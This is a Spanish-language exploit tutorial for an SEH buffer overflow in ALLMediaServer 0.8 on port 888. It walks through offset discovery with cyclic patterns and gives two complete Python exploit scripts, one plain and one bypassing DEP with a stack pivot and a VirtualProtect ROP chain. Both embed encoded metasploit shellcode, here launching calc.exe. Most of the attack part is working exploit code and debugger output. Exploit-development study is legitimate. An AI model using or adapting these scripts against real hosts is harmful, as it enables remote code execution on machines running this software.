ALLMEDIASERVER ATTACK!

Windows 10

[Con y sin DEP (Data Execution Prevention)]

By Morbith Darklink QofTzade

Versión 1.0

Mail : xjr00t@gmail.com

Twitter : @morbithDQtz

GitHub : morbith-dqtz

Sumario

Software vulnerable

La versión 0.8 sufre de un buffer overflow el el proceso Mediacenter del ALLMEDIACENTER. Este proceso es el ancargado de gestionar las peticiones de los clientes en el puerto 888.

Si enviamos una petición mayor de 1076 bytes logramos sobrescribir la dirección de retorno de SEH (Structured Exception Handling) de Windows, con lo que logramos controlar el registro EIP de la cpu. Controlando EIP podemos inyectar cualquier código que deseemos para que lo ejecute la víctima del ataque.

Descarga :

http://www.cdrinfo.pl/download2.php?filename=software/ALLMediaServer.exe&id=2190143337&baza=soft&v=2773

Entorno para depuración y generación de ROP gadgets

En este caso nos hemos servido del debugger de la compañía Immunity

Descarga :

https://www.immunityinc.com/products/debugger/

Junto con el plugin python mona.py para buscar y generar los gadget ROP

Descarga:

https://github.com/corelan/mona

Recogemos información genral de offsets

Nos basamos en la librería python https://github.com/jbertman/pattern_tools que implementa la misma función que el módulo ruby de metasploit. Para poder interactuar con ella desde la consola la copiaremos en el directorio de trabajo.

Primero necesitamos generar un patrón en el que podamos localizar los offsets del desborde de la pila, pattern_tools nos permite hacerlo con facilidad

```
import pattern_tools as pt
pt.pattern_create(1200)
pt.pattern_offset('396a4238')

'[*] Exact match at offset 1076'
```

Lanzamos un primer overflow al thread de mediaserver y miramos SEH del debugger

```
python -c 'import pattern_tools as pt; print pt.pattern_create(1200)' | nc 192.168.121.231 888
```

En el la ventana de la cadena SEH del debugger nos encontramos

```
SE handler : 396a4238
ADDRESS : 6A42376A
```

Si dejamos que el debugger continúe después de la excepción vemos que EIP = 396A4238

Así que SE_handler controla el siguiente salto de EIP, vemos los offset concretos

```
import pattern_tools
pattern_tools.pattern_offset('396a4238')
'[*] Exact match at offset 1076'
pattern_tools.pattern_offset('6A42376A')
'[*] Exact match at offset 1072'
```

Para cerciorarnos lanzamos otro desbordamiento, esta vez :

```
python -c 'import pattern_tools as pt; print pt.pattern_create(1072) + "AAAA" + "BBBB"' | nc 192.168.121.231 888
```

En el debugger vemos que tenemos sobreescrito SEH con :

```
SE_handler : 42424242 (BBBB)
ADDRESS : 41414141 (AAAA)
```

Con esta información ya podemos empezar a orquestar nuestro ataque.

ATAQUE SIN DEP

Con DEP deshabilitado, al sobrescribir EIP (ADDRESS) podemos regresar y ejecutar directamente en la pila. Con este escenario podemos usar un salto jmp short “EB” desde el registro ADDRESS, de este modo, después de ejecutar un gadget pop pop ret, saltaremos 6 bytes, dejado EIP apuntando a la shellcode

```
ADDRESS = “\xEB\x06\x90\x90”
```

Es una instrucción jmp short 6 para saltar los 6 bytes, (2 NOP + las dirección HANDLER)

```
HANDLER = “\xbc\xff\xf5\x65”
```

HANDLER es un gadjet rop : pop ESI pop EBX ret (necesitamos pop pop ret para limpiar el stack), de este modo el payload completo quedaría así :

```
payload = PADDING (1072) + 'ADDRESS' + 'HANDLER' + PAYLOAD-EXEC
```

Con todo esto en mente ya podemos escribir el exploit python :

```
import socket

# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf =  ""
buf += "\xb8\xc4\xed\xfe\xf0\xda\xce\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x31\x31\x43\x13\x83\xc3\x04\x03\x43\xcb\x0f"
buf += "\x0b\x0c\x3b\x4d\xf4\xed\xbb\x32\x7c\x08\x8a\x72\x1a"
buf += "\x58\xbc\x42\x68\x0c\x30\x28\x3c\xa5\xc3\x5c\xe9\xca"
buf += "\x64\xea\xcf\xe5\x75\x47\x33\x67\xf5\x9a\x60\x47\xc4"
buf += "\x54\x75\x86\x01\x88\x74\xda\xda\xc6\x2b\xcb\x6f\x92"
buf += "\xf7\x60\x23\x32\x70\x94\xf3\x35\x51\x0b\x88\x6f\x71"
buf += "\xad\x5d\x04\x38\xb5\x82\x21\xf2\x4e\x70\xdd\x05\x87"
buf += "\x49\x1e\xa9\xe6\x66\xed\xb3\x2f\x40\x0e\xc6\x59\xb3"
buf += "\xb3\xd1\x9d\xce\x6f\x57\x06\x68\xfb\xcf\xe2\x89\x28"
buf += "\x89\x61\x85\x85\xdd\x2e\x89\x18\x31\x45\xb5\x91\xb4"
buf += "\x8a\x3c\xe1\x92\x0e\x65\xb1\xbb\x17\xc3\x14\xc3\x48"
buf += "\xac\xc9\x61\x02\x40\x1d\x18\x49\x0e\xe0\xae\xf7\x7c"
buf += "\xe2\xb0\xf7\xd0\x8b\x81\x7c\xbf\xcc\x1d\x57\x84\x23"
buf += "\x54\xfa\xac\xab\x31\x6e\xed\xb1\xc1\x44\x31\xcc\x41"
buf += "\x6d\xc9\x2b\x59\x04\xcc\x70\xdd\xf4\xbc\xe9\x88\xfa"
buf += "\x13\x09\x99\x98\xf2\x99\x41\x71\x91\x19\xe3\x8d"

ADDRESS = "\xEB\x06\x90\x90"
HANDLER = "\xC3\x09\x3E\x66"

payload = "A"*1072 + ADDRESS + HANDLER + buf
s = socket.socket()
s.connect(("192.168.121.231",888))
s.send(payload)
s.close()
```

ATAQUE SUPERANDO DEP/NX

En este caso, al tener esta protección activa, no podemos usar el trick pop pop ret, y ejecutar el jmp, ya que al dejar EIP en una dirección con instrucciones a ejecutar, DEP nos enviará a un fallo de segmentación.

Para superar esta protección tenemos varias estrategias ROP, pero antes de profundizar en ROP debemos conocer la estrategia que se conoce como Stack Pivot, que básicamente nos permite aterrizar sobre ROP chain.

Las estrategias comunes para el Stack Pivot son :

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#buildingblocks

```
add esp, offset + ret
mov esp, register + ret
xchg register,esp + ret
call register (if a register points to data you control)
mov reg,[ebp+0c] + call reg (or other references to seh record)
push reg + pop esp + ret (if you control ‘reg’)
mov reg, dword ptr fs:[0] + … + ret (set esp indirectly, via SEH record)
```

El método en este caso será incrementar el registro ESP lo suficiente para entrar en un espacio de memoria controlado por nosotros, calculando el padding para poder aterrizar sobre la rop chain.
Para calcular donde exactamente tenemos que colocar la cadena ROP, lo primero que haremos es localizar un gadget del tipo “add esp,offset + ret”

Lanzamos el ataque colocando un breakpoint en la dirección del gadget que despaza ESP. En este punto, después del RET, veremos en que dirección del la pila aterriza. Buscado el patrón inyectado, por ejemplo As, podremos calcular la distancia.

```
payload = "A"*1076 + GADGET + "A"*400
```

Recogemos el valor en el momento del BreakPoint :

0x99F498

Las primeras As se encuentran en :

0x99F910

Es decir, que tenemos nuestra inyección a 0x478 de distancia, esto nos informa que el gadget MOV ESP, OFFSET tiene que ser, como mínimo 0x478. Como nostros tenemos un gadget con un offset 0x4DC, no tendremos ningún problema en aterrizar sobre el buffer que controlamos.
Continuamos con la ejecución y recogemos el valor después de desplazar ESP

0x99F974

Vamos a calcular donde debemos poner nuestra ROP chain

0x99F910 - 0x99F498 = 0x478 0x99F974 - 0x99F498 = 0x4DC 0x4DC - 0x478 = 0x64 (100 en decimal)

Es decir :

```
payload = "A" * 100 + ROP_CHAIN + "\x90"*10 + SHELLCODE ....

* Añadimos unos nop depués del ROP para asegurarnos la correcta ejecución del
shellcode
```

Una vez hemos logrado pivotar en en la pila para apuntar a nuestra cadena ROP, vamos a profundizar un poco en las estrategias ROP mas comunes para ejecutar código arbitrario en windows:

https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#buildingblocks

VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. This will allow you to create a new executable memory region, copy your shellcode to it, and execute it. This technique may require you to chain 2 API's into each other.

HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. In essence, this function will provide a very similar technique as VirtualAlloc(), but may require 3 API's to be chained together

SetProcessDEPPolicy(). This allows you to change the DEP policy for the current process (so you can execute the shellcode from the stack) (Vista SP1, XP SP3, Server 2008, and only when DEP Policy is set to OptIn or OptOut)

NtSetInformationProcess(). This function will change the DEP policy for the current process so you can execute your shellcode from the stack.

VirtualProtect(PAGE_READ_WRITE_EXECUTE). This function will change the access protection level of a given memory page, allowing you to mark the location where your shellcode resides as executable.

WriteProcessMemory(). This will allow you to copy your shellcode to another (executable) location, so you can jump to it and execute the shellcode. The target location must be writable and executable.

En este caso nos basaremos el el rop que genera mona.py en el debugger immunity

!mona rop

Nos generará 3 ficheros interesantes en :

```
c:\Users\xxx\AppData\Local\VirtualStore\Program Files(x86)\Immunity Inc\Immunity Debugger

rop_suggestions, rop_chains, stackpivot
```

Aquí tendremos cadenas de gadget ROP, sugerencias y gadgets para pivotar.
En rop completo que saca se basa en VitualProtect, así que lo que hace la chain es cambiar los atributos del espacio de memoria adyacente, justo donde colocaremos la shellcode y que esta forma se pueda ejecutar sin problemas.

Se ha corregido la cadena ROP porque usa LEA para cargar la dirección de EAX a ESI, pero no está permitido tratar de esa forma los registros, al menos en windows 10, así que lo hemos substituido por otro gadget con el que obtenemos el mismo resultado XCHNG EAX,ESI
Ya tenemos todos los ingredientes para formar el exploit python :

```
import socket
import struct

def create_rop_chain():
   # rop chain generated with mona.py - www.corelan.be
   rop_gadgets = [
     0x663cb678,  # POP EAX # RETN [avcodec-53.dll]
     0x671ee4e0,  # ptr to &VirtualProtect() [IAT avcodec-53.dll]
     0x661ab1d4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avcodec-53.dll]
     #0x665c1f7e,  # LEA ESI,EAX # RETN [avcodec-53.dll]
     0x6633c1e4,  # No permite LEA, XCHNG EAX,ESI
     0x6670882a,  # POP EBP # RETN [avcodec-53.dll]
     0x660c5d07,  # & jmp esp [avcodec-53.dll]
     0x663d6628,  # POP EBX # RETN [avcodec-53.dll]
     0x00000201,  # 0x00000201-> ebx
     0x6672a1e2,  # POP EDX # RETN [avcodec-53.dll]
     0x00000040,  # 0x00000040-> edx
     0x664ff7d1,  # POP ECX # RETN [avcodec-53.dll]
     0x66849ac7,  # &Writable location [avcodec-53.dll]
     0x6662de48,  # POP EDI # RETN [avcodec-53.dll]
     0x666e1446,  # RETN (ROP NOP) [avcodec-53.dll]
     0x65f7653f,  # POP EAX # RETN [avcodec-53.dll]
     0x90909090,  # nop
     0x6659b505,  # PUSHAD # RETN [avcodec-53.dll]
   ]
   return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf =  ""
buf += "\xb8\xc4\xed\xfe\xf0\xda\xce\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x31\x31\x43\x13\x83\xc3\x04\x03\x43\xcb\x0f"
buf += "\x0b\x0c\x3b\x4d\xf4\xed\xbb\x32\x7c\x08\x8a\x72\x1a"
buf += "\x58\xbc\x42\x68\x0c\x30\x28\x3c\xa5\xc3\x5c\xe9\xca"
buf += "\x64\xea\xcf\xe5\x75\x47\x33\x67\xf5\x9a\x60\x47\xc4"
buf += "\x54\x75\x86\x01\x88\x74\xda\xda\xc6\x2b\xcb\x6f\x92"
buf += "\xf7\x60\x23\x32\x70\x94\xf3\x35\x51\x0b\x88\x6f\x71"
buf += "\xad\x5d\x04\x38\xb5\x82\x21\xf2\x4e\x70\xdd\x05\x87"
buf += "\x49\x1e\xa9\xe6\x66\xed\xb3\x2f\x40\x0e\xc6\x59\xb3"
buf += "\xb3\xd1\x9d\xce\x6f\x57\x06\x68\xfb\xcf\xe2\x89\x28"
buf += "\x89\x61\x85\x85\xdd\x2e\x89\x18\x31\x45\xb5\x91\xb4"
buf += "\x8a\x3c\xe1\x92\x0e\x65\xb1\xbb\x17\xc3\x14\xc3\x48"
buf += "\xac\xc9\x61\x02\x40\x1d\x18\x49\x0e\xe0\xae\xf7\x7c"
buf += "\xe2\xb0\xf7\xd0\x8b\x81\x7c\xbf\xcc\x1d\x57\x84\x23"
buf += "\x54\xfa\xac\xab\x31\x6e\xed\xb1\xc1\x44\x31\xcc\x41"
buf += "\x6d\xc9\x2b\x59\x04\xcc\x70\xdd\xf4\xbc\xe9\x88\xfa"
buf += "\x13\x09\x99\x98\xf2\x99\x41\x71\x91\x19\xe3\x8d"

rop_chain = create_rop_chain()

payload = "A" * 100               # padding inicial para ajustar ROP a ESP + 4DC
payload += rop_chain               # Cadena ROPs
payload += "\x90" *10              # NOPS para asegurar la ejecucion del SHSCR
payload += buf                   # Shellcode
payload += "A" * (1076-len(payload))# Padding final para completar el BOF
```

```
payload += "\x6c\x53\x62\x66"       # Pivotamos en el stack para ROP (ADD ESP, 4DC)

s = socket.socket()
s.connect(("192.168.121.231",888))
s.send(payload)
s.close()
```